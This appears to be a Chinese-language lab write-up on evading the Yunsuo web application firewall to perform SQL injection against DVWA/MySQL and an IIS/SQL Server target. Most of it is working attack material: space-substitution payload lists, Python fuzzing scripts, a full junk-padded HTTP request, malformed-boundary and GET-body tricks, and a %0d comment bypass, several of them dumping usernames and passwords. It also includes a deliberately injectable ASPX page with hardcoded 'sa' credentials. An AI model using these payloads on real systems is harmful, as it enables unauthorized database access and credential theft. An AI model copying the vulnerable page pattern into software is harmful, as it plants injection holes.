MySQL特性
空格可以由其它字符替代
select id,contents,time from news where news_id=1①union②select③1,2,username④from⑤admin
- 位置①
- 可以利用其它控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0
- 可以利用注释符号替换空格:/**/、%23test%0d%0a、 —+a%0d%0a
- 可以利用数学运算以及数据类型:news_id=1.0,news_id=1E0,news_id=\N
- 位置②
- 可以利用其它控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0
- 可以利用注释符号替换空格:/**/、%23test%0d%0a、 —+a%0d%0a
- 可以利用括号:union(select 1,2)
- 位置③
- 可以利用其它控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0
- 可以利用注释符号替换空格:/**/、%23test%0d%0a、 —+a%0d%0a
- 可以利用其它符号:+ 、- 、 ~ 、!、@
- 位置④
- 可以利用其它控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0
- 可以利用注释符号替换空格:/**/、%23test%0d%0a、 —+a%0d%0a
- 大括号{}:union select {``1},{x 2}
- 可利用数学运算以及数据类型: union select usename,2.0from admin union select username,8e0from admin union select username,\Nfrom admin
- 位置⑤
- 可以利用其它控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0
- 可以利用注释符号替换空格:/**/、%23test%0d%0a、 —+a%0d%0a
- 反引号`:union select 1,table_name,3 from`information_schema`.`tables`limit 0,1%23
- 内联注释:union select 1,table_name,3 from /*!50001information_schema.tables*/ limit 0,1%23
- 大括号{}:union select 1,table_name,3 from{x information_schema.tables}limit 0,1%23
- 小括号():union select 1,table_name,3 from(information_schema.tables)limit 0,1%23
实验环境
靶场:DVWA(low级别)
数据库:MySQL 5.5
Web脚本:PHP 5.4.19
WAF:云锁-win_3.1.20.24
超大数据包绕过
绕过原理
资源限制:WAF长度资源限制
假如HTTP请求POST BODY太大,检测所有内容,WAF集群消耗太多的CPU、内存资源。因此许多WAF只检测前面的2M或4M的内容。对于攻击者而言,只需要在POST BODY前面添加许多无用的数据,把攻击的payload放在最后即可绕过WAF检测。
实验步骤
首先使用BurpSuite抓取数据包,并记下数据包的Header信息
编写好我们的Python脚本进行FUZZ:
#! /usr/bin/env python # _*_ coding:utf-8 _*_
import requests
import randomheaders={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0","Cookie":"security_session_verify=8e11e7d561e260e3a97a6b1dc9da173b; PHPSESSID=8d2qf26p3tarqosghic3ol6j22; security=low;"}
url="http://hackrock.com/vulnerabilities/sqli/?Submit=Submit"def generate_random_str(randomlength=16):
random_str = ''
base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
length = len(base_str) - 1
for i in range(randomlength):
random_str += base_str[random.randint(0, length)]
return random_str
for i in range(500,50000,100):
payload = {'id':"1'union-- "+generate_random_str(i)+"\r\nselect 1,2#"}
try:
response=requests.post(url=url,headers=headers,data=payload,timeout=0.5)
result = response.content
print result
#print result
if result.count('union'):
print "Length is : %s " % str(i)
break
except:
print "."
这个脚本的作用是生成脏数据进行POST传参,最后返回FUZZ之后的响应内容与脏数据的长度
执行脚本:
pyhton2 fuzz.py
将返回的内容粘贴至BurpSuite
从响应内容可以看出,我们构造好的脏数据已经成功绕过了WAF
然而又有一个问题,当我们想要查询数据时,仍然被WAF拦截
这是因为云锁对select+关键信息
做了规则匹配
这时我们可以使用多行注释符/**/
加脏数据的方法去绕过WAF
构造数据包:
POST /vulnerabilities/sqli/?Submit=Submit HTTP/1.1 Host: hackrock.com:812 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 9284 Origin: http://hackrock.com:812 Connection: close Referer: http://hackrock.com:812/vulnerabilities/sqli/?Submit=Submit Cookie: security_session_verify=8e11e7d561e260e3a97a6b1dc9da173b; PHPSESSID=8d2qf26p3tarqosghic3ol6j22; security=low Upgrade-Insecure-Requests: 1
id=1'union-- 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,concat_ws(char(32,58,32),user,password) from users%23#
可以看到SQL注入成功
注:如果想要查询函数,如database(),需要在database与括号之间插入注释符与脏数据,database/脏数据/()
畸形的boundary绕过
绕过原理
HTTP协议兼容性:HTTP Body的多样性
规则缺陷/特性:WAF对boundary识别的局限性
PHP在解析multipart data的时候有自己的特性,对于boundary的识别,只取了逗号前面的内容,例如我们设置的boundary为——aaaa,123456,php解析的时候只识别了——aaaa,后面的内容均没有识别。然而WAF在做解析的时候,有可能获取的是整个字符串,此时可能就会出现绕过。
实验步骤
首先使用BurpSuite进行抓包,并发送到Repeater
点击右键,选择修改请求方法,将GET请求转换为POST请求
再点击右键,选择修改body编码,将内容提交协议更改为multipart/form-data
先使用联合查询测试是否会被WAF拦截
果然被拦截了,说明WAF的规则是覆盖到multipart/form-data协议的
我们修改下boundary的值,再发送数据包
WAF并未拦截,成功利用该方法绕过
Bypass云锁SQLServer注入
SQLServer特性
空格可以由其它字符替代
select id,contents,time from news where news_id=1①union②select③1,2,db_name()④from⑤admin
- 位置①
- 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
- 可以利用注释符号:/**/、—+a%0d%0a
- 可利用数学运算符以及数据类型:news_id=1.0,news_id=1e0,news_id=1-1
- 位置②
- 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
- 可以利用注释符号:/**/、—+a%0d%0a
- 可以利用加号+替换空格:union+select
- 位置③
- 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
- 可以利用注释符号:/**/、—+a%0d%0a
- 可利用数学运算符:+、-、~、. (注:其中-、~、.号必须是select查询的第一个字段的数据类型为数字型才能使用)
- 可以利用小括号()替换空格:select(1),2,db_name()
- 位置④
- 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
- 可以利用注释符号:/**/、—+a%0d%0a
- 可利用其他字符:%80~%FF(需要IIS服务器支持)
- 位置⑤
- 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
- 可以利用注释符号:/**/、—+a%0d%0a
- 可利用其他字符:%80~%FF(需要IIS服务器支持)
- 可以利用点号.替换空格:from.users
- 可以利用中括号[]替换空格:from[users]
实验环境
数据库:SQL Server 2008R2
Web服务器:IIS7.5 CN
WAF:云锁-win_3.1.20.24
靶场源码如下:index.aspx
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.Data" %>
<%@ Import namespace="System.Data.SqlClient" %>
<!DOCTYPE html>
<script runat="server">
private DataSet resSet=new DataSet();
protected void Page_Load(object sender, EventArgs e)
{
String strconn = "server=.;database=test;uid=sa;pwd=admin";
string id = Request.Params["id"];
string sql = string.Format("select * from newss where id={0}", id);
SqlConnection connection=new SqlConnection(strconn);
connection.Open();
SqlDataAdapter dataAdapter = new SqlDataAdapter(sql, connection);
dataAdapter.Fill(resSet);
DgData.DataSource = resSet.Tables[0];
DgData.DataBind();
Response.Write("执行语句:<br>"+sql);
Response.Write("<br>结果为:");
}
</script><html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>SQLServer注入测试</title>
</head>
<body>
<form id="form1" runat="server">
<div><asp:DataGrid ID="DgData" runat="server" BackColor="White" BorderColor="#3366CC" BorderStyle="None" BorderWidth="1px" CellPadding="4" HeaderStyle-CssClass="head" Width="203px"> <FooterStyle BackColor="#99CCCC" ForeColor="#003399" /> <SelectedItemStyle BackColor="#009999" Font-Bold="True" ForeColor="#CCFF99" /> <PagerStyle BackColor="#99CCCC" ForeColor="#003399" HorizontalAlign="Left" Mode="NumericPages" /> <ItemStyle BackColor="White" ForeColor="#003399" />
<HeaderStyle CssClass="head" BackColor="#003399" Font-Bold="True" ForeColor="#CCCCFF"></HeaderStyle>
</asp:DataGrid></div> </form>
</body>
</html>
GET方法传输POST数据绕过
绕过原理
HTTP协议兼容性:HTTP Method的多样性
规则缺陷/特性:IIS中的GET请求可以传输POST数据
大家的常识是GET参数通过URL传递,POST放在Request body中。
但是在某些中间件(如IIS)中的GET请求同样可以传输POST数据。
实验步骤
首先使用POST方法发送数据,并使用BurpSuite抓取数据包
将POST请求方法改为GET请求方法,发现仍然是可以发送数据的
在请求体中构造我们的payload,可以绕过云锁WAF实现SQL注入
注:使用IIS服务器部署的Web应用也可以用该方法去绕过云锁
多行注释符替代空格绕过【未成功】
绕过原理
规则缺陷/特性:数据库空格可使用其它字符替代
在进行SQL语句查询的时候可以利用注释符来替代语法中的空格,例如:
select * from [dbo].[User] where id=1
可替代为:
select/**/*/**/from/**/[dbo].[User]/**/where id=1
那么意味着在注释符中可以添加大量的无效字符来打破WAF的规则匹配。
实验步骤
首先使用BurpSuite抓取数据包,并记下数据包的Header信息
编写好我们的Python脚本进行FUZZ:
#! /usr/bin/env python # -*- coding:utf-8 -*-
import random
import requests
import timeheaders = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0'}
url="http://hackrock.com/index.aspx"
def generate_random_str1(randomlength=4):
random_str = ''
base_str = '!@$%^&*()_+=-'
length = len(base_str) - 1
for i in range(randomlength):
random_str += base_str[random.randint(0, length)]
return random_strdef generate_random_str2(randomlength=10):
random_str = ''
base_str = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
length = len(base_str) - 1
for i in range(randomlength):
random_str += base_str[random.randint(0, length)]
return random_str
for i in range(600):
random_str = generate_random_str1() + generate_random_str2()
payload = {'id':"1 union/"+random_str+"/select 1,'2','3'"}
try:
time.sleep(0.5)
response = requests.post(url=url, headers=headers, data=payload, timeout=0.5)
if response.status_code == 200:
print(payload)
except:
pass
这个脚本使用的是python3编写,生成以特殊符号开头的无效字符,使用POST方法进行FUZZ
执行脚本:
python3 fuzz_2.py
这里发现一个规律:注释符/**/中的无效字符都是以!
开头,形如MySQL中的内联注释符。这可能是云锁在数据清洗时未对这两个数据库做严格区分,造成绕过
选择一个payload进行测试
但是在查询关键函数的时候仍会被拦截
这时候不用慌,可以采用特殊符号插入函数名与括号之间,或直接插入空格即可
然而,在构造payload进行爆账号密码时,却被拦截
查看后台告警信息
云锁会自动将注释符转换为空格,从而判断是否存在违规操作。
在尝试多次后,这种方法终究不能完美绕过云锁。但在测试的过程中却意外发现了另外一种简单的云锁绕过方式。
注释符与回车符结合绕过
绕过原理
规则缺陷/特性:数据库空格可使用其它字符替代
在尝试使用多行注释符替换空格的过程中,意外地发现了一个绕过方法:
可以利用注释符与回车符结合来替代语法中的空格:
?id=-1--%0dunion select 1,'2','3'
这是MSSQL中的一个特性,—注释符可以与直接%0d结合,使—注释符无法生效
这可能是云锁在过滤中的疏忽导致的绕过
实验步骤
如果想要知道除了%0d还有哪些字符可以绕过云锁,可以编写一个简单的python脚本进行FUZZ
#! /usr/bin/env python
-- coding:utf-8 --
import requests
import timeheaders = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0'}
base_url = "http://hackrock.com/index.aspx"
def generate_str():
url_str = []
base_str = '0123456789abcdef'
for i in base_str:
for j in base_str:
url_str.append('%'+i+j)
return url_strurl_str = generate_str()
for i in url_str:
url = base_url + "?id=-1--" + i + "union select 1,'2','3'"
try:
time.sleep(1)
response = requests.get(url, headers=headers, timeout=0.5)
len_text = len(response.text)
if response.status_code == 200:
print(url)
print(len_text)
except:
pass
可以根据返回的请求体长度判断有哪些字符可以绕过WAF,当然也可以使用BurpSuite进行FUZZ
但测试下来只有%0d可以绕过,且能正常爆出数据
http://hackrock.com/index.aspx?id=-1--%0dunion select 1,username,password from dbo.users